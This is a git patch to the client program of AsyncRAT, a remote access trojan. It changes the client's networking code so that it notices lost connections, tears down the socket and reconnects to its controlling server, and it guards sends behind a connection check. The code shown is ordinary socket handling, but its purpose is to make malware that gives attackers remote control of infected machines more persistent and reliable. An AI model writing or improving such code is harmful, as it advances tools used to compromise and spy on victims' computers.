From df79845f74dacf231d8accae69a7bf26695718d6 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 23 Jan 2019 01:34:02 -0800 Subject: [PATCH] Update Program.cs --- AsyncRAT-C#/Client/Program.cs | 32 ++++++++++++++++++++++---------- 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 773d9ac..f31b896 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -46,6 +46,7 @@ namespace Client } catch { + Console.WriteLine("Disconnected!"); Thread.Sleep(2500); InitializeClient(); } @@ -63,7 +64,12 @@ namespace Client public static void ReadServertData(IAsyncResult ar) { - + if (client.Connected == false) + { + client.Close(); + client.Dispose(); + InitializeClient(); + } try { int Recevied = client.EndReceive(ar); @@ -102,6 +108,12 @@ namespace Client } } } + else + { + client.Close(); + client.Dispose(); + InitializeClient(); + } client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch @@ -130,22 +142,23 @@ namespace Client public static void BeginSend(byte[] Msgs) { + if (client.Connected) + { try { - using (MemoryStream MS = new MemoryStream()) { - byte[] buffer = Msgs; - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); - MS.Write(buffersize, 0, buffersize.Length); - MS.Write(buffer, 0, buffer.Length); + byte[] buffer = Msgs; + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); + MS.Write(buffersize, 0, buffersize.Length); + MS.Write(buffer, 0, buffer.Length); - client.Poll(-1, SelectMode.SelectWrite); + client.Poll(-1, SelectMode.SelectWrite); client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null); } } catch - { + { } } } @@ -156,8 +169,7 @@ namespace Client client.EndSend(ar); } catch - { - } + { } } } } \ No newline at end of file